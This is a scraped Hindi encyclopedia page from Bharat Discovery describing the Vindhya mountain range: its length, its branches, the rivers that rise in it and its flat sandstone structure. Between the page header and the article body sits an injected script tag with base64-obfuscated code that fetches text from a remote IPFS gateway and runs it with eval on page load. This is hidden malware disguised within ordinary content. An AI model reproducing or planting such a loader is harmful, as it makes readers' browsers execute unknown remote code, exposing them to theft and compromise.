एक्स्प्रेशन त्रुटि: अनपेक्षित उद्गार चिन्ह "०"।

विन्ध्याचल पर्वत

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
Bharatkosh-logo.png पन्ना बनने की प्रक्रिया में है। आप इसको तैयार करने में सहायता कर सकते हैं।

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

विन्ध्याचल पर्वत पहाड़ियों की टूटी—फूटी श्रृंखला, जो भारत की मध्यवर्ती उच्चभूमि का दक्षिणी कगार बनाती है। पश्चिम में गुजरात राज्य से लगभग 1,086 किमी तक विस्तृत यह श्रेणी मध्य प्रदेश को पारकर वाराणसी (बनारस) की गंगा नदी घाटी से मिलती है। ये पर्वत मालवा पठार का दक्षिणी छोर बनाते हैं और इसके बाद दो शाखाओं में बंट जाते हैं – कैमूर श्रेणी, जो सोन नदी के उत्तर से पश्चिमी बिहार राज्य तक फैली है तथा दक्षिणी शाखा, जो सोन और नर्मदा नदी के ऊपरी क्षेत्र के बीच मैकाल श्रेणी (या अमरकंटक पठार) में सतपुड़ा श्रेणी से मिलती है।

450 मीटर से 1100 मीटर ऊँचाई पर विंध्य श्रेणी से गंगा—यमुना प्रणाली की मुख्य दक्षिणी सहायक नदियाँ निकलती हैं, जिनमें चंबल, बेतवा, केन और टोन्स शामिल हैं। अपनी समतलीय बलुआ पत्थर संरचना के कारण ये पर्वत समतल शिखर युक्त और पठार जैसे लगते हैं। दूसरी शताब्दी के यूनानी भूगोलवेत्ता टालेमी ने इस श्रेणी को उत्तरी और प्रायद्वीप भारत के बीच सीमा माना था।